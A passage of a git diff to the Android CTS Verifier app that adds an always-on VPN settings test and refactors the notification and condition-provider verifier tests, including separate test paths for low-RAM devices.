adapter.add(mKeyguardDisabledFeaturesTest);
adapter.add(mAuthenticationBoundKeyTest);
adapter.add(mVpnTest);
+ adapter.add(mAlwaysOnVpnSettingsTest);
adapter.add(mTurnOffWorkFeaturesTest);
adapter.add(mSelectWorkChallenge);
if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
index d1308ad..5053a90 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestHelper.java
@@ -39,6 +39,7 @@
PermissionLockdownTestActivity.ACTIVITY_ALIAS,
AuthenticationBoundKeyTestActivity.class.getName(),
VpnTestActivity.class.getName(),
+ AlwaysOnVpnSettingsTestActivity.class.getName(),
RecentsRedactionActivity.class.getName(),
CommandReceiverActivity.class.getName(),
SetSupportMessageActivity.class.getName()
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index 94d4dc3..f61c884 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -183,6 +183,7 @@
.build();
mNotificationManager.notify(NOTIFICATION_ID, notification);
}
+
private Notification createPublicVersionNotification() {
return new Notification.Builder(this)
.setSmallIcon(R.drawable.icon)
@@ -191,7 +192,6 @@
.build();
}
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index 1c40ac1..f54e567 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -110,6 +110,7 @@
filter.addAction(AuthenticationBoundKeyTestActivity.ACTION_AUTH_BOUND_KEY_TEST);
filter.addAction(ByodHelperActivity.ACTION_BYOD_SET_LOCATION_AND_CHECK_UPDATES);
filter.addAction(VpnTestActivity.ACTION_VPN);
+ filter.addAction(AlwaysOnVpnSettingsTestActivity.ACTION_ALWAYS_ON_VPN_SETTINGS_TEST);
filter.addAction(RecentsRedactionActivity.ACTION_RECENTS);
filter.addAction(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE);
filter.addAction(ByodHelperActivity.ACTION_LAUNCH_CONFIRM_WORK_CREDENTIALS);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
index 0147fde..9a33320 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/IntentFiltersTestHelper.java
@@ -254,8 +254,6 @@
forwardedIntentsFromManaged.addAll(Arrays.asList(
new Intent(Settings.ACTION_INPUT_METHOD_SETTINGS),
new Intent(Settings.ACTION_INPUT_METHOD_SUBTYPE_SETTINGS)));
- notForwardedIntentsFromManaged.add(
- new Intent("android.settings.SHOW_INPUT_METHOD_PICKER"));
}
if (!pm.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
index bd02144..d8dbefd 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/PolicyTransparencyTestListActivity.java
@@ -71,7 +71,7 @@
Settings.ACTION_SETTINGS,
Settings.ACTION_SECURITY_SETTINGS,
Settings.ACTION_DISPLAY_SETTINGS,
- DevicePolicyManager.ACTION_SET_NEW_PASSWORD,
+ Settings.ACTION_SETTINGS,
Settings.ACTION_ACCESSIBILITY_SETTINGS,
Settings.ACTION_INPUT_METHOD_SETTINGS
};
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
index 496bbe4..36dfb5b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/ConnectivityBackgroundTestActivity.java
@@ -42,6 +42,8 @@
import android.widget.ScrollView;
import android.widget.TextView;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.IOException;
@@ -74,6 +76,7 @@
* [4] The screen is put to sleep if this feature supported.
* [5] After two minutes, another IPv6 connectivity test is performed.
*/
+@CddTest(requirement="7.4.5/C-0-1,C-0-2,C-0-3,C-0-4")
public class ConnectivityBackgroundTestActivity extends PassFailButtons.Activity {
private static final String TAG = ConnectivityBackgroundTestActivity.class.getSimpleName();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
index 82e180e..ddfa283 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/AttentionManagementVerifierActivity.java
@@ -20,10 +20,12 @@
import static com.android.cts.verifier.notifications.MockListener.JSON_MATCHES_ZEN_FILTER;
import static com.android.cts.verifier.notifications.MockListener.JSON_TAG;
+import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.content.ContentProviderOperation;
+import android.content.Context;
import android.content.OperationApplicationException;
import android.database.Cursor;
import android.net.Uri;
@@ -74,12 +76,12 @@
private Uri mCharlieUri;
@Override
- int getTitleResource() {
+ protected int getTitleResource() {
return R.string.attention_test;
}
@Override
- int getInstructionsResource() {
+ protected int getInstructionsResource() {
return R.string.attention_info;
}
@@ -88,20 +90,26 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(17);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new InsertContactsTest());
- tests.add(new NoneInterceptsAllTest());
- tests.add(new PriorityInterceptsSomeTest());
- tests.add(new AllInterceptsNothingTest());
- tests.add(new DefaultOrderTest());
- tests.add(new PriorityOrderTest());
- tests.add(new InterruptionOrderTest());
- tests.add(new AmbientBitsTest());
- tests.add(new LookupUriOrderTest());
- tests.add(new EmailOrderTest());
- tests.add(new PhoneOrderTest());
- tests.add(new DeleteContactsTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new InsertContactsTest());
+ tests.add(new NoneInterceptsAllTest());
+ tests.add(new PriorityInterceptsSomeTest());
+ tests.add(new AllInterceptsNothingTest());
+ tests.add(new DefaultOrderTest());
+ tests.add(new PriorityOrderTest());
+ tests.add(new InterruptionOrderTest());
+ tests.add(new AmbientBitsTest());
+ tests.add(new LookupUriOrderTest());
+ tests.add(new EmailOrderTest());
+ tests.add(new PhoneOrderTest());
+ tests.add(new DeleteContactsTest());
+ }
return tests;
}
@@ -122,14 +130,37 @@
// Tests
+ private class ServiceStoppedTest extends InteractiveTestCase {
+ int mRetries = 3;
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.nls_service_stopped);
+ }
+
+ @Override
+ protected void test() {
+ if (MockListener.getInstance() == null
+ || !MockListener.getInstance().isConnected) {
+ status = PASS;
+ } else {
+ if (--mRetries > 0) {
+ sleep(100);
+ status = RETEST;
+ } else {
+ status = FAIL;
+ }
+ }
+ }
+ }
+
protected class InsertContactsTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_create_contacts);
}
@Override
- void setUp() {
+ protected void setUp() {
insertSingleContact(ALICE, ALICE_PHONE, ALICE_EMAIL, true);
insertSingleContact(BOB, BOB_PHONE, BOB_EMAIL, false);
// charlie is not in contacts
@@ -137,7 +168,7 @@
}
@Override
- void test() {
+ protected void test() {
mAliceUri = lookupContact(ALICE_PHONE);
mBobUri = lookupContact(BOB_PHONE);
mCharlieUri = lookupContact(CHARLIE_PHONE);
@@ -161,12 +192,12 @@
protected class DeleteContactsTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_delete_contacts);
}
@Override
- void test() {
+ protected void test() {
final ArrayList<ContentProviderOperation> operationList = new ArrayList<>();
operationList.add(ContentProviderOperation.newDelete(mAliceUri).build());
operationList.add(ContentProviderOperation.newDelete(mBobUri).build());
@@ -187,12 +218,12 @@
protected class NoneInterceptsAllTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_all_are_filtered);
}
@Override
- void setUp() {
+ protected void setUp() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
createChannels();
sendNotifications(MODE_URI, false, false);
@@ -200,7 +231,7 @@
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -237,7 +268,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
mNm.cancelAll();
deleteChannels();
@@ -248,19 +279,19 @@
protected class AllInterceptsNothingTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_none_are_filtered);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_URI, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -297,7 +328,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -306,12 +337,12 @@
protected class PriorityInterceptsSomeTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_some_are_filtered);
}
@Override
- void setUp() {
+ protected void setUp() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_PRIORITY);
NotificationManager.Policy policy = mNm.getNotificationPolicy();
policy = new NotificationManager.Policy(policy.priorityCategories
@@ -325,7 +356,7 @@
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -362,7 +393,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
mNm.cancelAll();
deleteChannels();
@@ -373,19 +404,19 @@
// ordered by time: C, B, A
protected class DefaultOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_default_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_NONE, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -399,7 +430,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -409,19 +440,19 @@
// ordered by priority: B, C, A
protected class PriorityOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_priority_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_NONE, true, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -435,7 +466,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -447,12 +478,12 @@
boolean mSawElevation = false;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_interruption_order);
}
@Override
- void setUp() {
+ protected void setUp() {
delayTime = 15000;
createChannels();
// send B & C noisy with contact affinity
@@ -463,7 +494,7 @@
}
@Override
- void test() {
+ protected void test() {
if (status == READY_AFTER_LONG_DELAY) {
// send A noisy but no contact affinity
sendNotifications(SEND_A, MODE_NONE, false, true);
@@ -493,7 +524,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -503,12 +534,12 @@
// B & C above the fold, A below
protected class AmbientBitsTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_ambient_bit);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(SEND_B | SEND_C, MODE_NONE, true, true);
sendNotifications(SEND_A, MODE_NONE, true, false);
@@ -516,7 +547,7 @@
}
@Override
- void test() {
+ protected void test() {
List<JSONObject> result = new ArrayList<>(MockListener.getInstance().getPosted());
Set<String> found = new HashSet<String>();
@@ -553,7 +584,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -563,19 +594,19 @@
// ordered by contact affinity: A, B, C
protected class LookupUriOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_lookup_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_URI, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -589,7 +620,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -599,19 +630,19 @@
// ordered by contact affinity: A, B, C
protected class EmailOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_email_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_EMAIL, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -625,7 +656,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
@@ -635,19 +666,19 @@
// ordered by contact affinity: A, B, C
protected class PhoneOrderTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.attention_phone_order);
}
@Override
- void setUp() {
+ protected void setUp() {
createChannels();
sendNotifications(MODE_PHONE, false, false);
status = READY;
}
@Override
- void test() {
+ protected void test() {
List<String> orderedKeys = new ArrayList<>(MockListener.getInstance().mOrder);
int rankA = findTagInKeys(ALICE, orderedKeys);
int rankB = findTagInKeys(BOB, orderedKeys);
@@ -661,7 +692,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.cancelAll();
deleteChannels();
MockListener.getInstance().resetData();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
index 24d88b7..46b808b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/ConditionProviderVerifierActivity.java
@@ -18,14 +18,15 @@
import com.android.cts.verifier.R;
+import android.app.ActivityManager;
import android.app.AutomaticZenRule;
import android.app.NotificationManager;
import android.content.ComponentName;
+import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Parcelable;
import android.provider.Settings;
-import android.provider.Settings.Secure;
import android.text.TextUtils;
import android.view.View;
import android.view.ViewGroup;
@@ -42,12 +43,12 @@
"/com.android.cts.verifier.notifications.MockConditionProvider";
@Override
- int getTitleResource() {
+ protected int getTitleResource() {
return R.string.cp_test;
}
@Override
- int getInstructionsResource() {
+ protected int getInstructionsResource() {
return R.string.cp_info;
}
@@ -56,23 +57,29 @@
@Override
protected List<InteractiveTestCase> createTestItems() {
List<InteractiveTestCase> tests = new ArrayList<>(9);
- tests.add(new IsEnabledTest());
- tests.add(new ServiceStartedTest());
- tests.add(new CreateAutomaticZenRuleTest());
- tests.add(new UpdateAutomaticZenRuleTest());
- tests.add(new GetAutomaticZenRuleTest());
- tests.add(new GetAutomaticZenRulesTest());
- tests.add(new SubscribeAutomaticZenRuleTest());
- tests.add(new DeleteAutomaticZenRuleTest());
- tests.add(new UnsubscribeAutomaticZenRuleTest());
- tests.add(new IsDisabledTest());
- tests.add(new ServiceStoppedTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (am.isLowRamDevice()) {
+ tests.add(new CannotBeEnabledTest());
+ tests.add(new ServiceStoppedTest());
+ } else {
+ tests.add(new IsEnabledTest());
+ tests.add(new ServiceStartedTest());
+ tests.add(new CreateAutomaticZenRuleTest());
+ tests.add(new UpdateAutomaticZenRuleTest());
+ tests.add(new GetAutomaticZenRuleTest());
+ tests.add(new GetAutomaticZenRulesTest());
+ tests.add(new SubscribeAutomaticZenRuleTest());
+ tests.add(new DeleteAutomaticZenRuleTest());
+ tests.add(new UnsubscribeAutomaticZenRuleTest());
+ tests.add(new IsDisabledTest());
+ tests.add(new ServiceStoppedTest());
+ }
return tests;
}
protected class IsEnabledTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createSettingsItem(parent, R.string.cp_enable_service);
}
@@ -82,15 +89,13 @@
}
@Override
- void test() {
+ protected void test() {
Intent settings = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
if (settings.resolveActivity(mPackageManager) == null) {
logFail("no settings activity");
status = FAIL;
} else {
- String cpPackages = Secure.getString(getContentResolver(),
- Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
- if (cpPackages != null && cpPackages.contains(CP_PACKAGE)) {
+ if (mNm.isNotificationPolicyAccessGranted()) {
status = PASS;
} else {
status = WAIT_FOR_USER;
@@ -99,7 +104,41 @@
}
}
- void tearDown() {
+ protected void tearDown() {
+ // wait for the service to start
+ delay();
+ }
+ }
+
+ protected class CannotBeEnabledTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createNlsSettingsItem(parent, R.string.cp_cannot_enable_service);
+ }
+
+ @Override
+ boolean autoStart() {
+ return true;
+ }
+
+ @Override
+ protected void test() {
+ mNm.cancelAll();
+ Intent settings = new Intent(NOTIFICATION_LISTENER_SETTINGS);
+ if (settings.resolveActivity(mPackageManager) == null) {
+ logFail("no settings activity");
+ status = FAIL;
+ } else {
+ if (mNm.isNotificationPolicyAccessGranted()) {
+ status = FAIL;
+ } else {
+ status = PASS;
+ }
+ next();
+ }
+ }
+
+ protected void tearDown() {
// wait for the service to start
delay();
}
@@ -107,12 +146,12 @@
protected class ServiceStartedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_service_started);
}
@Override
- void test() {
+ protected void test() {
MockConditionProvider.probeConnected(mContext,
new MockConditionProvider.BooleanResultCatcher() {
@Override
@@ -131,7 +170,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockConditionProvider.resetData(mContext);
delay();
}
@@ -141,12 +180,12 @@
private String id = null;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_create_rule);
}
@Override
- void test() {
+ protected void test() {
long now = System.currentTimeMillis();
AutomaticZenRule ruleToCreate =
createRule("Rule", "value", NotificationManager.INTERRUPTION_FILTER_ALARMS);
@@ -162,7 +201,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
if (id != null) {
mNm.removeAutomaticZenRule(id);
}
@@ -175,12 +214,12 @@
private String id = null;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_update_rule);
}
@Override
- void setUp() {
+ protected void setUp() {
id = mNm.addAutomaticZenRule(createRule("BeforeUpdate", "beforeValue",
NotificationManager.INTERRUPTION_FILTER_ALARMS));
status = READY;
@@ -188,7 +227,7 @@
}
@Override
- void test() {
+ protected void test() {
AutomaticZenRule updated = mNm.getAutomaticZenRule(id);
updated.setName("AfterUpdate");
updated.setConditionId(MockConditionProvider.toConditionId("afterValue"));
@@ -210,7 +249,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
if (id != null) {
mNm.removeAutomaticZenRule(id);
}
@@ -224,12 +263,12 @@
private AutomaticZenRule ruleToCreate;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_subscribe_rule);
}
@Override
- void setUp() {
+ protected void setUp() {
ruleToCreate = createRule("RuleSubscribe", "Subscribevalue",
NotificationManager.INTERRUPTION_FILTER_ALARMS);
id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -238,7 +277,7 @@
}
@Override
- void test() {
+ protected void test() {
MockConditionProvider.probeSubscribe(mContext,
new MockConditionProvider.ParcelableListResultCatcher() {
@@ -265,7 +304,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
if (id != null) {
mNm.removeAutomaticZenRule(id);
}
@@ -280,12 +319,12 @@
private AutomaticZenRule ruleToCreate;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_get_rule);
}
@Override
- void setUp() {
+ protected void setUp() {
ruleToCreate = createRule("RuleGet", "valueGet",
NotificationManager.INTERRUPTION_FILTER_ALARMS);
id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -294,7 +333,7 @@
}
@Override
- void test() {
+ protected void test() {
AutomaticZenRule queriedRule = mNm.getAutomaticZenRule(id);
if (queriedRule != null
&& ruleToCreate.getName().equals(queriedRule.getName())
@@ -310,7 +349,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
if (id != null) {
mNm.removeAutomaticZenRule(id);
}
@@ -325,12 +364,12 @@
private AutomaticZenRule rule2;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_get_rules);
}
@Override
- void setUp() {
+ protected void setUp() {
rule1 = createRule("Rule1", "value1", NotificationManager.INTERRUPTION_FILTER_ALARMS);
rule2 = createRule("Rule2", "value2", NotificationManager.INTERRUPTION_FILTER_NONE);
ids.add(mNm.addAutomaticZenRule(rule1));
@@ -340,7 +379,7 @@
}
@Override
- void test() {
+ protected void test() {
Map<String, AutomaticZenRule> rules = mNm.getAutomaticZenRules();
if (rules == null || rules.size() != 2) {
@@ -362,7 +401,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
for (String id : ids) {
mNm.removeAutomaticZenRule(id);
}
@@ -375,12 +414,12 @@
private String id = null;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_delete_rule);
}
@Override
- void test() {
+ protected void test() {
AutomaticZenRule ruleToCreate = createRule("RuleDelete", "Deletevalue",
NotificationManager.INTERRUPTION_FILTER_ALARMS);
id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -405,7 +444,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockConditionProvider.resetData(mContext);
delay();
}
@@ -416,12 +455,12 @@
private AutomaticZenRule ruleToCreate;
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_unsubscribe_rule);
}
@Override
- void setUp() {
+ protected void setUp() {
ruleToCreate = createRule("RuleUnsubscribe", "valueUnsubscribe",
NotificationManager.INTERRUPTION_FILTER_PRIORITY);
id = mNm.addAutomaticZenRule(ruleToCreate);
@@ -430,7 +469,7 @@
}
@Override
- void test() {
+ protected void test() {
MockConditionProvider.probeSubscribe(mContext,
new MockConditionProvider.ParcelableListResultCatcher() {
@Override
@@ -484,7 +523,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
mNm.removeAutomaticZenRule(id);
MockConditionProvider.resetData(mContext);
// wait for intent to move through the system
@@ -494,7 +533,7 @@
private class IsDisabledTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createSettingsItem(parent, R.string.cp_disable_service);
}
@@ -504,10 +543,8 @@
}
@Override
- void test() {
- String cpPackages = Secure.getString(getContentResolver(),
- Settings.Secure.ENABLED_NOTIFICATION_POLICY_ACCESS_PACKAGES);
- if (cpPackages == null || !cpPackages.contains(CP_PACKAGE)) {
+ protected void test() {
+ if (!mNm.isNotificationPolicyAccessGranted()) {
status = PASS;
} else {
status = WAIT_FOR_USER;
@@ -516,7 +553,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockConditionProvider.resetData(mContext);
delay();
}
@@ -524,12 +561,12 @@
private class ServiceStoppedTest extends InteractiveTestCase {
@Override
- View inflate(ViewGroup parent) {
+ protected View inflate(ViewGroup parent) {
return createAutoItem(parent, R.string.cp_service_stopped);
}
@Override
- void test() {
+ protected void test() {
MockConditionProvider.probeConnected(mContext,
new MockConditionProvider.BooleanResultCatcher() {
@Override
@@ -548,7 +585,7 @@
}
@Override
- void tearDown() {
+ protected void tearDown() {
MockConditionProvider.resetData(mContext);
// wait for intent to move through the system
delay();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index 7d5de8c..1433914 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -94,11 +94,12 @@
}
protected abstract class InteractiveTestCase {
- int status;
+ protected boolean mUserVerified;
+ protected int status;
private View view;
protected long delayTime = 3000;
- abstract View inflate(ViewGroup parent);
+ protected abstract View inflate(ViewGroup parent);
View getView(ViewGroup parent) {
if (view == null) {
view = inflate(parent);
@@ -112,13 +113,18 @@
}
/** Set status to {@link #READY} to proceed, or {@link #SETUP} to try again. */
- void setUp() { status = READY; next(); };
+ protected void setUp() { status = READY; next(); };
/** Set status to {@link #PASS} or @{link #FAIL} to proceed, or {@link #READY} to retry. */
- void test() { status = FAIL; next(); };
+ protected void test() { status = FAIL; next(); };
/** Do not modify status. */
- void tearDown() { next(); };
+ protected void tearDown() { next(); };
+
+ protected void setFailed() {
+ status = FAIL;
+ logFail();
+ }
protected void logFail() {
logFail(null);
@@ -135,8 +141,8 @@
}
}
- abstract int getTitleResource();
- abstract int getInstructionsResource();
+ protected abstract int getTitleResource();
+ protected abstract int getInstructionsResource();
protected void onCreate(Bundle savedState) {
super.onCreate(savedState);
@@ -279,12 +285,22 @@
case READY:
case RETEST:
Log.i(TAG, "running test for: " + mCurrentTest.getClass().getSimpleName());
- mCurrentTest.test();
- if (mCurrentTest.status == RETEST_AFTER_LONG_DELAY) {
- delay(mCurrentTest.delayTime);
- } else {
+ try {
+ mCurrentTest.test();
+ if (mCurrentTest.status == RETEST_AFTER_LONG_DELAY) {
+ delay(mCurrentTest.delayTime);
+ } else {
+ delay();
+ }
+ } catch (Throwable t) {
+ mCurrentTest.status = FAIL;
+ markItem(mCurrentTest);
+ Log.e(TAG, "FAIL: " + mCurrentTest.getClass().getSimpleName(), t);
+ mCurrentTest.tearDown();
+ mCurrentTest = null;
delay();
}
+
break;
case FAIL:
@@ -361,6 +377,9 @@
next();
}
}
+ if (mCurrentTest != null) {
+ mCurrentTest.mUserVerified = true;
+ }
}
}
@@ -440,7 +459,7 @@
